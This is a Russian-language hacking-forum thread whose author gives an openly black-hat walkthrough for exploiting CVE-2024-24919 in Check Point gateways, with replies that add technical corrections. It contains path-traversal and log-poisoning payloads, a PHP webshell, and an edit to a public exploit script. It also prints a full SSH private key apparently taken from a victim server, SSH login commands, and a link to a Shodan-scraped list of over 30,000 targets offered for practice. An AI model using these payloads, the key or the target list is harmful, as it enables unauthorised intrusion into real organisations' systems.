What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

CVE-2024-24919 получаем доступ

k0priz

Light Weight
Депозит
$0
Специально для лучшего форума: Автор: k0priz

!!!ДИСКЛЕЙМЕР!!!
Все мы и так знаем как будут использовать эту информацию так что дисклеймер никчему, black-hat рулит)))


И так по запросам форумчан, очень извиняюсь за столь долгую задержку в выпуске очень большие проблемы в жизни,но сейчас не об этом, пишу продолжение статьи где мы получим доступ.
Как мы все помним использовали мы CVE-2024-24919 а это уязвимость раскрытия информации ну или lfi.

CVE-2024-24919 — это уязвимость раскрытия информации, которая может позволить злоумышленнику получить доступ к определенной информации на подключенных к Интернету шлюзах, которые настроены с использованием IPSec VPN, VPN удаленного доступа или программного блейда мобильного доступа. Согласно сообщению, Check Point наблюдала эксплуатацию этой уязвимости в реальных условиях, и до сих пор эта деятельность по эксплойту была сосредоточена на устройствах, настроенных с использованием локальных учетных записей и аутентификации только по паролю.

PoC: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

Информационная сноска
-------------------------
Уязвимость LFI (Local File Inclusion) — это тип уязвимости, связанный с несанкционированным доступом к файлам на сервере, который возникает, когда приложение позволяет злоумышленнику включать произвольные файлы с сервера через вводимые данные. Обычно такая уязвимость возникает в веб-приложениях, когда параметры запроса (например, имя файла) не проходят должной валидации и могут быть изменены пользователем.

// Уязвимый код с использованием параметра 'page'
$page = $_GET['page'];
include($page);
-------------------------

А значит что мы можем прочитать почти ЛЮБОЙ ФАЙЛ начинаем вспоминать мат часть линукса а имеено ее дирекотрии.

Самый первый вариант который должен приходить это /etc/ кладись конфигурационных файлов.

Интересные директории:

https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/Linux-Sensitive-Files.txt

Немного расскажу про базовую интерпретацию lfi.

На гите валяется скрипт для теста:
git clone https://github.com/dr34mhacks/operation-file-hunt.git
cd operation-file-hunt
sudo bash runme.sh



Вводим произвольные символы и видим уязвимый параметр page
Вот тут как раз начинаем вспоминать что писать сверху.

PHP: Скопировать в буфер обмена
Code:
// Уязвимый код с использованием параметра 'page'
$page = $_GET['page'];
include($page);



пробуем базовую проверку ../../../../../../../../../../etc/passwd



так, уязвимость есть , пробуем получить RCE, для этого нам понадобяться такая вещь как Log Poisoning.

Информационная сноска:
-------------------------------
Log Poisoning - это распространенный метод, используемый для получения команды от уязвимости LFI. Чтобы это сработало, хакер пытается внедрить вредоносные данные в журнал сервера.

В реальном приложении попытайтесь определить используемый сервер (например, Apache, Nginx). Это можно определить с помощью журналов ошибок, страницы сервера по умолчанию и заголовков ответов. Например, для сервера Apache файл журнала будет храниться в /var/log/apache2/error.log, а для Nginx — в /var/log/nginx/access.log
-------------------------------

тут нам уже понадобиться burpsuite

Ловим реквест с сервака и кидаем его в Repeater



Пробуем получить журнал ошибок сервера logs/access.log



так доступ к журналу есть, значит пробуем пронести наш код
<?php system('id');?> - между скобок мы пишем команду которую хотим выполнить тоесть id.



Биного, работает и видим что мы группы root, делаем простой webshell командой <?php system($_GET['cmd']); ?> -- тут уже мы создаем переменную и при GET запросе можем проносить свои команды.
Теперь пишием /local_file_inclusion.php?page=logs/access.log&cmd=ls

И видим такую картину:


Все что такое lfi поняли и как даже получить через него RCE тоже, так что продолжаем.

Опять же как правильно подметили под прошлой статьей "заебешься хэши хэшить" если говорить о масовом взломе, я мог бы просто найти сервак разхэшить хэш да и все, но это не интерсено, все таки професия творческая.

Предложили действительно не плохой вариант /.ssh/id-rsa

Информационная сноска:
-------------------------
Файл id_rsa является приватным ключом SSH, который используется для аутентификации при подключении к удаленным серверам и другим системам. Этот ключ эксплуатируется вместе с файлом id_rsa.pub, который является соответствующим публичным ключом.
-------------------------

Так как мы теперь знаем как можно получить RCE, лист пэйлоадов будет таким:


/.ssh/id-rsa
/var/log/apache2/error.log
/var/log/nginx/access.log


Использовать будем этот сплоит https://github.com/RevoltSecurities/CVE-2024-24919.git

Для вашего удобства в 95 строчке вместо if response.status == 200 and "<html" not in responsed or "</html>" not in responsed: замените на if response.status == 200:

Бывает пишет что vuln, но статус код 404.

По итогам скана к сожалению логов не нашлось, а я очень хотел показать эту уязвимость(в дальнейшем думаю напишу и про это) но будем показывать через id_rsa.

так вот мы имеем ключ:


Код: Скопировать в буфер обмена
Code:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----


но перед тем как подключатсья нужно подготовиться

создаем файл в любой директории id_rsa

туда впихиваем наш ключ

в нем обязательно должно быть

-----BEGIN OPENSSH PRIVATE KEY-----
base64
-----END OPENSSH PRIVATE KEY-----

после этого сохроняем и пишем команду chmod 600 /path/to/id_rsa_file

далле пишем ssh -i [SIZE=5]/path/to/id_rsa_file[/SIZE] -o HostKeyAlgorithms=+ssh-rsa user@host

Информационная сноска
-------------------------
Когда в командной строке при подключении через SSH указывают параметр -o HostKeyAlgorithms=+ssh-rsa, это означает, что в процессе аутентификации SSH-сессии явно разрешается использование алгоритма ssh-rsa для проверки подлинности удалённого хоста.

HostKeyAlgorithms — это настройка в SSH-клиенте, которая определяет, какие алгоритмы ключей хостов (серверов) могут быть использованы для проверки подлинности сервера при установлении соединения.

+ssh-rsa — знак + в данном контексте добавляет алгоритм ssh-rsa в список допустимых алгоритмов. Это может быть полезно, если по каким-то причинам SSH-сервер или клиент по умолчанию не поддерживает этот алгоритм, но вы хотите его явно разрешить.
-------------------------


Вауля мы на сервере:




Все гениальное просто, творите и изучайте!!!

Оставлю вам файлик который спарсил с shodan если кто сам захочет попробовать.

https://dropmefiles.com/OOS65 там 30+к сайтов думаю есть над чем практиковаться.

Если статья понравилась и кто то захочет помочь автору, то это очень сильно поможет выходу новых статей, ведь идеи есть. bc1qt8kazyjvpdf0t2asths05drkzamajh90ggdmg7

P.s (Можем проверить OS от одного школо-форума)
 
k0priz сказал(а):
я мог бы просто найти сервак разхэшить хэш да и все
Нажмите, чтобы раскрыть...
лолшто??? у хэширования нет обратной функции если что
k0priz сказал(а):
/.ssh/id-rsa
Нажмите, чтобы раскрыть...
Ключи лежат в другом месте в /home/$user/.ssh/
что бы прочитать содержимое ключа ты должен быть правильным пользователем (овнером файла), у которого права 600 или 400, а они всегда 400,600 потому как сам ssh не будет использовать ключ если бит "группы" и "всех" больше чем 0.
Так что получить ключ можно в очень редком случае, потому как дефольтный пользователь веб-сервера www-data у которого нет шела, там или nologin или /bin/false
Более опытные админы создают под веб-сервер отдельного пользователя у которого уж точно не будет ключей в хоум. Но сейчас речь не о них. (на моем сайте как раз специально созданый лоу-прив аккаунт)
В общем такой способ похека часто встречается в КТФах но в жизни я такое видел пару раз от силы, при том что я уже далеко не первый год пентестю.

Кстати ключи бывают не только RSA:
RSA (id_rsa и id_rsa.pub)
DSA (id_dsa и id_dsa.pub)
ECDSA (id_ecdsa и id_ecdsa.pub)
ED25519 (id_ed25519 и id_ed25519.pub)
RSA1 (identity и identity.pub)

ECDSA даже пару раз встречал, но в остальном всегда были RSA

для этого нам понадобяться такая вещь как Log Poisoning
Нажмите, чтобы раскрыть...
в современных дистрибутивах у тебя даже прав на чтение папки не будет, лог будет писать родительский процесс (root) а читаешь ты будешь дочерним с другими правами (www-data). Данная уязвимость стара как мир поэтому об этом позаботились)

И есть еще один момент, лог записывается в конец, это значит что если кто-то до тебя запойсонил кривой пхп код, тогда при инклуде лога произойдет Критикал еррор, это значит что лог должен быть не убит кем-то) Или как минимум сам себе лог не убей случайной опечаткой)
 
k0priz сказал(а):
тебе походу надо почитать мат часть файл id_rsa при включенной авторизации по ключам должен быть с правами 600
Нажмите, чтобы раскрыть...
чатгпт воен, по секрету скажу, если что там права 400 тоже работают, потому что ключ просто читается и не перезаписывается, ему 600 прав много, 600 ето сумма правил 4 (чтение) + 2 (запись). Я смотрю у тебя какие-то комплексы, там в моем посте критики нет, там дополнения и советы которые как бы в тему и могут быть полезные. На что ты там обиделось непонятно.
 
zdestuta сказал(а):
k0priz , не обращай внимание, это известный тролль тут.
сравеливости ради некоторые его замечания иногда бывают по делу, ему бы манеру подачи сменить просто, не знаю зачем он на людей кидается - его жизнь обидела наверное где-то ("собака бывает кусачей только от жизни собачей", серьёзные люди более спокойны обычно) :)
статья очень даже годная!
и я прям удивлён что такой простой и явный LFI да ещё и в checkpoint, сюрприз прям.
про LFI2RCE напиши если будет возможность, у меня времени нет, а у тебя хорошо получится, не как у меня один пример и всё.


а не проще ли через тот же curl или вообще bash'ем в неткат запулить пэйлоад? ;-)
если нравится GUI рекомендую Burp Suite, он может в репитере по IP прям запрос сделать не только таргету и пэйлоад прям в raw в отличие от постмана (хотя кому как удобнее конечно)
Нажмите, чтобы раскрыть...
На русском пожалуйста) Извини за грубость
 
Top